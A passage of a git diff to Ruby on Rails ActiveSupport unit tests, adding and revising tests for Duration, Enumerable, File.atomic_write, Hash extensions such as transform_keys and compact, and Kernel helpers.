+    assert !3.second.instance_of?(Numeric)
+  end
+
   def test_threequals
     assert ActiveSupport::Duration === 1.day
     assert !(ActiveSupport::Duration === 1.day.to_i)
     assert !(ActiveSupport::Duration === 'foo')
-    assert !(ActiveSupport::Duration === ActiveSupport::ProxyObject.new)
   end
 
   def test_equals
     assert 1.day == 1.day
     assert 1.day == 1.day.to_i
+    assert 1.day.to_i == 1.day
     assert !(1.day == 'foo')
   end
 
+  def test_to_s
+    assert_equal "1", 1.second.to_s
+  end
+
+  def test_eql
+    rubinius_skip "Rubinius' #eql? definition relies on #instance_of? " \
+                  "which behaves oddly for the sake of backward-compatibility."
+
+    assert 1.minute.eql?(1.minute)
+    assert 1.minute.eql?(60.seconds)
+    assert 2.days.eql?(48.hours)
+    assert !1.second.eql?(1)
+    assert !1.eql?(1.second)
+    assert 1.minute.eql?(180.seconds - 2.minutes)
+    assert !1.minute.eql?(60)
+    assert !1.minute.eql?('foo')
+  end
+
   def test_inspect
     assert_equal '0 seconds',                       0.seconds.inspect
     assert_equal '1 month',                         1.month.inspect
@@ -37,10 +64,21 @@ class DurationTest < ActiveSupport::TestCase
     assert_equal '6 months and -2 days',            (6.months - 2.days).inspect
     assert_equal '10 seconds',                      10.seconds.inspect
     assert_equal '10 years, 2 months, and 1 day',   (10.years + 2.months + 1.day).inspect
+    assert_equal '10 years, 2 months, and 1 day',   (10.years + 1.month  + 1.day + 1.month).inspect
+    assert_equal '10 years, 2 months, and 1 day',   (1.day + 10.years + 2.months).inspect
     assert_equal '7 days',                          1.week.inspect
     assert_equal '14 days',                         1.fortnight.inspect
   end
 
+  def test_inspect_locale
+    current_locale = I18n.default_locale
+    I18n.default_locale = :de
+    I18n.backend.store_translations(:de, { support: { array: { last_word_connector: ' und ' } } })
+    assert_equal '10 years, 1 month und 1 day', (10.years + 1.month  + 1.day).inspect
+  ensure
+    I18n.default_locale = current_locale
+  end
+
   def test_minus_with_duration_does_not_break_subtraction_of_date_from_date
     assert_nothing_raised { Date.today - Date.today }
   end
@@ -50,12 +88,10 @@ class DurationTest < ActiveSupport::TestCase
   end
 
   def test_argument_error
-    1.second.ago('')
-    flunk("no exception was raised")
-  rescue ArgumentError => e
+    e = assert_raise ArgumentError do
+      1.second.ago('')
+    end
     assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
-  rescue Exception => e
-    flunk("ArgumentError should be raised, but we got #{e.class} instead")
   end
 
   def test_fractional_weeks
@@ -68,6 +104,19 @@ class DurationTest < ActiveSupport::TestCase
     assert_equal 86400 * 1.7, 1.7.days
   end
 
+  def test_since_and_ago
+    t = Time.local(2000)
+    assert_equal t + 1, 1.second.since(t)
+    assert_equal t - 1, 1.second.ago(t)
+  end
+
+  def test_since_and_ago_without_argument
+    now = Time.now
+    assert 1.second.since >= now + 1
+    now = Time.now
+    assert 1.second.ago >= now - 1
+  end
+
   def test_since_and_ago_with_fractional_days
     t = Time.local(2000)
     # since
@@ -93,10 +142,10 @@ class DurationTest < ActiveSupport::TestCase
     with_env_tz 'US/Eastern' do
       Time.stubs(:now).returns Time.local(2000)
       # since
-      assert_equal false, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+      assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
       assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since
       # ago
-      assert_equal false, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+      assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
       assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago
     end
   end
@@ -106,11 +155,11 @@ class DurationTest < ActiveSupport::TestCase
     with_env_tz 'US/Eastern' do
       Time.stubs(:now).returns Time.local(2000)
       # since
-      assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+      assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
       assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
       assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
       # ago
-      assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+      assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
       assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
       assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
     end
@@ -138,15 +187,37 @@ class DurationTest < ActiveSupport::TestCase
     assert_equal counter, 60
   end
 
+  def test_as_json
+    assert_equal 172800, 2.days.as_json
+  end
+
   def test_to_json
     assert_equal '172800', 2.days.to_json
   end
 
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
+  def test_case_when
+    cased = case 1.day when 1.day then "ok" end
+    assert_equal cased, "ok"
+  end
+
+  def test_respond_to
+    assert_respond_to 1.day, :since
+    assert_respond_to 1.day, :zero?
+  end
+
+  def test_hash
+    assert_equal 1.minute.hash, 60.seconds.hash
+  end
+
+  def test_comparable
+    assert_equal(-1, (0.seconds <=> 1.second))
+    assert_equal(-1, (1.second <=> 1.minute))
+    assert_equal(-1, (1 <=> 1.minute))
+    assert_equal(0, (0.seconds <=> 0.seconds))
+    assert_equal(0, (0.seconds <=> 0.minutes))
+    assert_equal(0, (1.second <=> 1.second))
+    assert_equal(1, (1.second <=> 0.second))
+    assert_equal(1, (1.minute <=> 1.second))
+    assert_equal(1, (61 <=> 1.minute))
+  end
 end
diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb
index 6781e3c20e..346dc3d208 100644
--- a/activesupport/test/core_ext/enumerable_test.rb
+++ b/activesupport/test/core_ext/enumerable_test.rb
@@ -8,7 +8,6 @@ class SummablePayment < Payment
 end
 
 class EnumerableTests < ActiveSupport::TestCase
-  Enumerator = [].each.class
 
   class GenericEnumerable
     include Enumerable
@@ -21,26 +20,6 @@ class EnumerableTests < ActiveSupport::TestCase
     end
   end
 
-  def test_group_by
-    names = %w(marcel sam david jeremy)
-    klass = Struct.new(:name)
-    objects = (1..50).map do
-      klass.new names.sample
-    end
-
-    enum = GenericEnumerable.new(objects)
-    grouped = enum.group_by { |object| object.name }
-
-    grouped.each do |name, group|
-      assert group.all? { |person| person.name == name }
-    end
-
-    assert_equal objects.uniq.map(&:name), grouped.keys
-    assert({}.merge(grouped), "Could not convert ActiveSupport::OrderedHash into Hash")
-    assert_equal Enumerator, enum.group_by.class
-    assert_equal grouped, enum.group_by.each(&:name)
-  end
-
   def test_sums
     enum = GenericEnumerable.new([5, 15, 10])
     assert_equal 30, enum.sum
@@ -92,10 +71,14 @@ class EnumerableTests < ActiveSupport::TestCase
   def test_index_by
     payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
     assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
-                 payments.index_by { |p| p.price })
+                 payments.index_by(&:price))
     assert_equal Enumerator, payments.index_by.class
+    if Enumerator.method_defined? :size
+      assert_equal nil, payments.index_by.size
+      assert_equal 42, (1..42).index_by.size
+    end
     assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
-                 payments.index_by.each { |p| p.price })
+                 payments.index_by.each(&:price))
   end
 
   def test_many
diff --git a/activesupport/test/core_ext/file_test.rb b/activesupport/test/core_ext/file_test.rb
index 2c04e9687c..cde0132b97 100644
--- a/activesupport/test/core_ext/file_test.rb
+++ b/activesupport/test/core_ext/file_test.rb
@@ -57,6 +57,16 @@ class AtomicWriteTest < ActiveSupport::TestCase
     File.unlink(file_name) rescue nil
   end
 
+  def test_atomic_write_returns_result_from_yielded_block
+    block_return_value = File.atomic_write(file_name, Dir.pwd) do |file|
+      "Hello world!"
+    end
+
+    assert_equal "Hello world!", block_return_value
+  ensure
+    File.unlink(file_name) rescue nil
+  end
+
   private
     def file_name
       "atomic.file"
diff --git a/activesupport/test/core_ext/hash/transform_keys_test.rb b/activesupport/test/core_ext/hash/transform_keys_test.rb
new file mode 100644
index 0000000000..a7e12117f3
--- /dev/null
+++ b/activesupport/test/core_ext/hash/transform_keys_test.rb
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+require 'active_support/core_ext/hash/keys'
+
+class TransformKeysTest < ActiveSupport::TestCase
+  test "transform_keys returns a new hash with the keys computed from the block" do
+    original = { a: 'a', b: 'b' }
+    mapped = original.transform_keys { |k| "#{k}!".to_sym }
+
+    assert_equal({ a: 'a', b: 'b' }, original)
+    assert_equal({ a!: 'a', b!: 'b' }, mapped)
+  end
+
+  test "transform_keys! modifies the keys of the original" do
+    original = { a: 'a', b: 'b' }
+    mapped = original.transform_keys! { |k| "#{k}!".to_sym }
+
+    assert_equal({ a!: 'a', b!: 'b' }, original)
+    assert_same original, mapped
+  end
+
+  test "transform_keys returns an Enumerator if no block is given" do
+    original = { a: 'a', b: 'b' }
+    enumerator = original.transform_keys
+    assert_equal Enumerator, enumerator.class
+  end
+
+  test "transform_keys is chainable with Enumerable methods" do
+    original = { a: 'a', b: 'b' }
+    mapped = original.transform_keys.with_index { |k, i| [k, i].join.to_sym }
+    assert_equal({ a0: 'a', b1: 'b' }, mapped)
+  end
+end
diff --git a/activesupport/test/core_ext/hash/transform_values_test.rb b/activesupport/test/core_ext/hash/transform_values_test.rb
new file mode 100644
index 0000000000..45ed11fef7
--- /dev/null
+++ b/activesupport/test/core_ext/hash/transform_values_test.rb
@@ -0,0 +1,61 @@
+require 'abstract_unit'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/hash/transform_values'
+
+class TransformValuesTest < ActiveSupport::TestCase
+  test "transform_values returns a new hash with the values computed from the block" do
+    original = { a: 'a', b: 'b' }
+    mapped = original.transform_values { |v| v + '!' }
+
+    assert_equal({ a: 'a', b: 'b' }, original)
+    assert_equal({ a: 'a!', b: 'b!' }, mapped)
+  end
+
+  test "transform_values! modifies the values of the original" do
+    original = { a: 'a', b: 'b' }
+    mapped = original.transform_values! { |v| v + '!' }
+
+    assert_equal({ a: 'a!', b: 'b!' }, original)
+    assert_same original, mapped
+  end
+
+  test "indifferent access is still indifferent after mapping values" do
+    original = { a: 'a', b: 'b' }.with_indifferent_access
+    mapped = original.transform_values { |v| v + '!' }
+
+    assert_equal 'a!', mapped[:a]
+    assert_equal 'a!', mapped['a']
+  end
+
+  # This is to be consistent with the behavior of Ruby's built in methods
+  # (e.g. #select, #reject) as of 2.2
+  test "default values do not persist during mapping" do
+    original = Hash.new('foo')
+    original[:a] = 'a'
+    mapped = original.transform_values { |v| v + '!' }
+
+    assert_equal 'a!', mapped[:a]
+    assert_nil mapped[:b]
+  end
+
+  test "default procs do not persist after mapping" do
+    original = Hash.new { 'foo' }
+    original[:a] = 'a'
+    mapped = original.transform_values { |v| v + '!' }
+
+    assert_equal 'a!', mapped[:a]
+    assert_nil mapped[:b]
+  end
+
+  test "transform_values returns an Enumerator if no block is given" do
+    original = { a: 'a', b: 'b' }
+    enumerator = original.transform_values
+    assert_equal Enumerator, enumerator.class
+  end
+
+  test "transform_values is chainable with Enumerable methods" do
+    original = { a: 'a', b: 'b' }
+    mapped = original.transform_values.with_index { |v, i| [v, i].join }
+    assert_equal({ a: 'a0', b: 'b1' }, mapped)
+  end
+end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index 2d0c56bef5..e10bee5e00 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -23,6 +23,16 @@ class HashExtTest < ActiveSupport::TestCase
     end
   end
 
+  class HashByConversion
+    def initialize(hash)
+      @hash = hash
+    end
+
+    def to_hash
+      @hash
+    end
+  end
+
   def setup
     @strings = { 'a' => 1, 'b' => 2 }
     @nested_strings = { 'a' => { 'b' => { 'c' => 3 } } }
@@ -36,6 +46,10 @@ class HashExtTest < ActiveSupport::TestCase
     @nested_illegal_symbols = { [] => { [] => 3} }
     @upcase_strings = { 'A' => 1, 'B' => 2 }
     @nested_upcase_strings = { 'A' => { 'B' => { 'C' => 3 } } }
+    @string_array_of_hashes = { 'a' => [ { 'b' => 2 }, { 'c' => 3 }, 4 ] }
+    @symbol_array_of_hashes = { :a => [ { :b => 2 }, { :c => 3 }, 4 ] }
+    @mixed_array_of_hashes = { :a => [ { :b => 2 }, { 'c' => 3 }, 4 ] }
+    @upcase_array_of_hashes = { 'A' => [ { 'B' => 2 }, { 'C' => 3 }, 4 ] }
   end
 
   def test_methods
@@ -54,6 +68,10 @@ class HashExtTest < ActiveSupport::TestCase
     assert_respond_to h, :deep_stringify_keys!
     assert_respond_to h, :to_options
     assert_respond_to h, :to_options!
+    assert_respond_to h, :compact
+    assert_respond_to h, :compact!
+    assert_respond_to h, :except
+    assert_respond_to h, :except!
   end
 
   def test_transform_keys
@@ -72,6 +90,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys{ |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys{ |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_mixed.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
   end
 
   def test_deep_transform_keys_not_mutates
@@ -97,6 +118,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_mixed.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
   end
 
   def test_deep_transform_keys_with_bang_mutates
@@ -122,6 +146,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_symbols, @nested_symbols.deep_symbolize_keys
     assert_equal @nested_symbols, @nested_strings.deep_symbolize_keys
     assert_equal @nested_symbols, @nested_mixed.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_symbolize_keys
   end
 
   def test_deep_symbolize_keys_not_mutates
@@ -147,6 +174,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_symbols, @nested_symbols.deep_dup.deep_symbolize_keys!
     assert_equal @nested_symbols, @nested_strings.deep_dup.deep_symbolize_keys!
     assert_equal @nested_symbols, @nested_mixed.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_symbolize_keys!
   end
 
   def test_deep_symbolize_keys_with_bang_mutates
@@ -192,6 +222,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_strings, @nested_symbols.deep_stringify_keys
     assert_equal @nested_strings, @nested_strings.deep_stringify_keys
     assert_equal @nested_strings, @nested_mixed.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_stringify_keys
   end
 
   def test_deep_stringify_keys_not_mutates
@@ -217,6 +250,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_strings, @nested_symbols.deep_dup.deep_stringify_keys!
     assert_equal @nested_strings, @nested_strings.deep_dup.deep_stringify_keys!
     assert_equal @nested_strings, @nested_mixed.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_stringify_keys!
   end
 
   def test_deep_stringify_keys_with_bang_mutates
@@ -329,7 +365,7 @@ class HashExtTest < ActiveSupport::TestCase
       :member? => true }
 
     hashes.each do |name, hash|
-      method_map.sort_by { |m| m.to_s }.each do |meth, expected|
+      method_map.sort_by(&:to_s).each do |meth, expected|
         assert_equal(expected, hash.__send__(meth, 'a'),
                      "Calling #{name}.#{meth} 'a'")
         assert_equal(expected, hash.__send__(meth, :a),
@@ -409,6 +445,12 @@ class HashExtTest < ActiveSupport::TestCase
     assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
   end
 
+  def test_update_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    hash.update HashByConversion.new({ :a => 1 })
+    assert_equal hash['a'], 1
+  end
+
   def test_indifferent_merging
     hash = HashWithIndifferentAccess.new
     hash[:a] = 'failure'
@@ -428,6 +470,12 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal 2, hash['b']
   end
 
+  def test_merge_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    merged = hash.merge HashByConversion.new({ :a => 1 })
+    assert_equal merged['a'], 1
+  end
+
   def test_indifferent_replace
     hash = HashWithIndifferentAccess.new
     hash[:a] = 42
@@ -440,6 +488,18 @@ class HashExtTest < ActiveSupport::TestCase
     assert_same hash, replaced
   end
 
+  def test_replace_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 42
+
+    replaced = hash.replace(HashByConversion.new(b: 12))
+
+    assert hash.key?('b')
+    assert !hash.key?(:a)
+    assert_equal 12, hash[:b]
+    assert_same hash, replaced
+  end
+
   def test_indifferent_merging_with_block
     hash = HashWithIndifferentAccess.new
     hash[:a] = 1
@@ -526,6 +586,8 @@ class HashExtTest < ActiveSupport::TestCase
     roundtrip = mixed_with_default.with_indifferent_access.to_hash
     assert_equal @strings, roundtrip
     assert_equal '1234', roundtrip.default
+
+    # Ensure nested hashes are not HashWithIndiffereneAccess
     new_to_hash = @nested_mixed.with_indifferent_access.to_hash
     assert_not new_to_hash.instance_of?(HashWithIndifferentAccess)
     assert_not new_to_hash["a"].instance_of?(HashWithIndifferentAccess)
@@ -599,7 +661,15 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal 1, h['first']
   end
 
-  def test_indifferent_subhashes
+  def test_to_options_on_indifferent_preserves_works_as_hash_with_dup
+    h = HashWithIndifferentAccess.new({ a: { b: 'b' } })
+    dup = h.dup
+
+    dup[:a][:c] = 'c'
+    assert_equal 'c', h[:a][:c]
+  end
+
+  def test_indifferent_sub_hashes
     h = {'user' => {'id' => 5}}.with_indifferent_access
     ['user', :user].each {|user| [:id, 'id'].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
 
@@ -623,11 +693,31 @@ class HashExtTest < ActiveSupport::TestCase
       { :failure => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
       { :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
     end
+    # not all valid keys are required to be present
+    assert_nothing_raised do
+      { :failure => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny, :sunny ])
+      { :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny, :sunny)
+    end
 
-    assert_raise(ArgumentError, "Unknown key: failore") do
+    exception = assert_raise ArgumentError do
       { :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
+    end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+    exception = assert_raise ArgumentError do
       { :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
     end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+    exception = assert_raise ArgumentError do
+      { :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure ])
+    end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
+
+    exception = assert_raise ArgumentError do
+      { :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure)
+    end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
   end
 
   def test_assorted_keys_not_stringified
@@ -656,6 +746,16 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal expected, hash_1
   end
 
+  def test_deep_merge_with_falsey_values
+    hash_1 = { e: false }
+    hash_2 = { e: 'e' }
+    expected = { e: [:e, false, 'e'] }
+    assert_equal(expected, hash_1.deep_merge(hash_2) { |k, o, n| [k, o, n] })
+
+    hash_1.deep_merge!(hash_2) { |k, o, n| [k, o, n] }
+    assert_equal expected, hash_1
+  end
+
   def test_deep_merge_on_indifferent_access
     hash_1 = HashWithIndifferentAccess.new({ :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } })
     hash_2 = HashWithIndifferentAccess.new({ :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } })
@@ -781,6 +881,24 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal 'bender', slice['login']
   end
 
+  def test_slice_bang_does_not_override_default
+    hash = Hash.new(0)
+    hash.update(a: 1, b: 2)
+
+    hash.slice!(:a)
+
+    assert_equal 0, hash[:c]
+  end
+
+  def test_slice_bang_does_not_override_default_proc
+    hash = Hash.new { |h, k| h[k] = [] }
+    hash.update(a: 1, b: 2)
+
+    hash.slice!(:a)
+
+    assert_equal [], hash[:c]
+  end
+
   def test_extract
     original = {:a => 1, :b => 2, :c => 3, :d => 4}
     expected = {:a => 1, :b => 2}
@@ -828,13 +946,19 @@ class HashExtTest < ActiveSupport::TestCase
   def test_except_with_more_than_one_argument
     original = { :a => 'x', :b => 'y', :c => 10 }
     expected = { :a => 'x' }
+
     assert_equal expected, original.except(:b, :c)
+
+    assert_equal expected, original.except!(:b, :c)
+    assert_equal expected, original
   end
 
   def test_except_with_original_frozen
     original = { :a => 'x', :b => 'y' }
     original.freeze
     assert_nothing_raised { original.except(:a) }
+
+    assert_raise(RuntimeError) { original.except!(:a) }
   end
 
   def test_except_with_mocha_expectation_on_original
@@ -842,6 +966,38 @@ class HashExtTest < ActiveSupport::TestCase
     original.expects(:delete).never
     original.except(:a)
   end
+
+  def test_compact
+    hash_contain_nil_value = @symbols.merge(z: nil)
+    hash_with_only_nil_values = { a: nil, b: nil }
+
+    h = hash_contain_nil_value.dup
+    assert_equal(@symbols, h.compact)
+    assert_equal(hash_contain_nil_value, h)
+
+    h = hash_with_only_nil_values.dup
+    assert_equal({}, h.compact)
+    assert_equal(hash_with_only_nil_values, h)
+  end
+
+  def test_compact!
+    hash_contain_nil_value = @symbols.merge(z: nil)
+    hash_with_only_nil_values = { a: nil, b: nil }
+
+    h = hash_contain_nil_value.dup
+    assert_equal(@symbols, h.compact!)
+    assert_equal(@symbols, h)
+
+    h = hash_with_only_nil_values.dup
+    assert_equal({}, h.compact!)
+    assert_equal({}, h)
+  end
+
+  def test_new_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new(HashByConversion.new(a: 1))
+    assert hash.key?('a')
+    assert_equal 1, hash[:a]
+  end
 end
 
 class IWriteMyOwnXML
@@ -1346,12 +1502,32 @@ class HashToXmlTest < ActiveSupport::TestCase
     end
   end
 
+  def test_from_xml_array_one
+    expected = { 'numbers' => { 'type' => 'Array', 'value' => '1' }}
+    assert_equal expected, Hash.from_xml('<numbers type="Array"><value>1</value></numbers>')
+  end
+
+  def test_from_xml_array_many
+    expected = { 'numbers' => { 'type' => 'Array', 'value' => [ '1', '2' ] }}
+    assert_equal expected, Hash.from_xml('<numbers type="Array"><value>1</value><value>2</value></numbers>')
+  end
+
   def test_from_trusted_xml_allows_symbol_and_yaml_types
     expected = { 'product' => { 'name' => :value }}
     assert_equal expected, Hash.from_trusted_xml('<product><name type="symbol">value</name></product>')
     assert_equal expected, Hash.from_trusted_xml('<product><name type="yaml">:value</name></product>')
   end
 
+  def test_should_use_default_proc_for_unknown_key
+    hash_wia = HashWithIndifferentAccess.new { 1 +  2 }
+    assert_equal 3, hash_wia[:new_key]
+  end
+
+  def test_should_use_default_proc_if_no_key_is_supplied
+    hash_wia = HashWithIndifferentAccess.new { 1 +  2 }
+    assert_equal 3, hash_wia.default
+  end
+
   def test_should_use_default_value_for_unknown_key
     hash_wia = HashWithIndifferentAccess.new(3)
     assert_equal 3, hash_wia[:new_key]
@@ -1373,12 +1549,31 @@ class HashToXmlTest < ActiveSupport::TestCase
     assert_not_same hash_wia, hash_wia.with_indifferent_access
   end
 
+
+  def test_allows_setting_frozen_array_values_with_indifferent_access
+    value = [1, 2, 3].freeze
+    hash = HashWithIndifferentAccess.new
+    hash[:key] = value
+    assert_equal hash[:key], value
+  end
+
   def test_should_copy_the_default_value_when_converting_to_hash_with_indifferent_access
     hash = Hash.new(3)
     hash_wia = hash.with_indifferent_access
     assert_equal 3, hash_wia.default
   end
 
+  def test_should_copy_the_default_proc_when_converting_to_hash_with_indifferent_access
+    hash = Hash.new do
+      2 + 1
+    end
+    assert_equal 3, hash[:foo]
+
+    hash_wia = hash.with_indifferent_access
+    assert_equal 3, hash_wia[:foo]
+    assert_equal 3, hash_wia[:bar]
+  end
+
   # The XML builder seems to fail miserably when trying to tag something
   # with the same name as a Kernel method (throw, test, loop, select ...)
   def test_kernel_method_names_to_xml
diff --git a/activesupport/test/core_ext/kernel/concern_test.rb b/activesupport/test/core_ext/kernel/concern_test.rb
new file mode 100644
index 0000000000..478a00d2d2
--- /dev/null
+++ b/activesupport/test/core_ext/kernel/concern_test.rb
@@ -0,0 +1,13 @@
+require 'abstract_unit'
+require 'active_support/core_ext/kernel/concern'
+
+class KernelConcernTest < ActiveSupport::TestCase
+  def test_may_be_defined_at_toplevel
+    mod = ::TOPLEVEL_BINDING.eval 'concern(:ToplevelConcern) { }'
+    assert_equal mod, ::ToplevelConcern
+    assert_kind_of ActiveSupport::Concern, ::ToplevelConcern
+    assert_not Object.ancestors.include?(::ToplevelConcern), mod.ancestors.inspect
+  ensure
+    Object.send :remove_const, :ToplevelConcern
+  end
+end
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
index b8951de402..503e6595cb 100644
--- a/activesupport/test/core_ext/kernel_test.rb
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -15,7 +15,6 @@ class KernelTest < ActiveSupport::TestCase
     assert_equal old_verbose, $VERBOSE
   end
 
-
   def test_enable_warnings
     enable_warnings { assert_equal true, $VERBOSE }
     assert_equal 1234, enable_warnings { 1234 }
@@ -29,43 +28,11 @@ class KernelTest < ActiveSupport::TestCase
     assert_equal old_verbose, $VERBOSE
   end
 
-
-  def test_silence_stderr
-    old_stderr_position = STDERR.tell
-    silence_stderr { STDERR.puts 'hello world' }
-    assert_equal old_stderr_position, STDERR.tell
-  rescue Errno::ESPIPE
-    # Skip if we can't STDERR.tell
-  end
-
-  def test_quietly
-    old_stdout_position, old_stderr_position = STDOUT.tell, STDERR.tell
-    quietly do
-      puts 'see me, feel me'
-      STDERR.puts 'touch me, heal me'
-    end
-    assert_equal old_stdout_position, STDOUT.tell
-    assert_equal old_stderr_position, STDERR.tell
-  rescue Errno::ESPIPE
-    # Skip if we can't STDERR.tell
-  end
-
-  def test_silence_stderr_with_return_value
-    assert_equal 1, silence_stderr { 1 }
-  end
-
   def test_class_eval
     o = Object.new
     class << o; @x = 1; end
     assert_equal 1, o.class_eval { @x }
   end
-
-  def test_capture
-    assert_equal 'STDERR', capture(:stderr) { $stderr.print 'STDERR' }
-    assert_equal 'STDOUT', capture(:stdout) { print 'STDOUT' }
-    assert_equal "STDERR\n", capture(:stderr) { system('echo STDERR 1>&2') }
-    assert_equal "STDOUT\n", capture(:stdout) { system('echo STDOUT') }
-  end
 end
 
 class KernelSuppressTest < ActiveSupport::TestCase
@@ -98,27 +65,3 @@ class MockStdErr
     puts(message)
   end
 end
-
-class KernelDebuggerTest < ActiveSupport::TestCase
-  def test_debugger_not_available_message_to_stderr
-    old_stderr = $stderr
-    $stderr = MockStdErr.new
-    debugger
-    assert_match(/Debugger requested/, $stderr.output.first)
-  ensure
-    $stderr = old_stderr
-  end
-
-  def test_debugger_not_available_message_to_rails_logger
-    rails = Class.new do
-      def self.logger
-        @logger ||= MockStdErr.new
-      end
-    end
-    Object.const_set(:Rails, rails)
-    debugger
-    assert_match(/Debugger requested/, rails.logger.output.first)
-  ensure
-    Object.send(:remove_const, :Rails)
-  end
-end
diff --git a/activesupport/test/core_ext/load_error_test.rb b/activesupport/test/core_ext/load_error_test.rb
index 31863d0aca..b2a75a2bcc 100644
--- a/activesupport/test/core_ext/load_error_test.rb
+++ b/activesupport/test/core_ext/load_error_test.rb
@@ -1,17 +1,11 @@
 require 'abstract_unit'
 require 'active_support/core_ext/load_error'
 
+
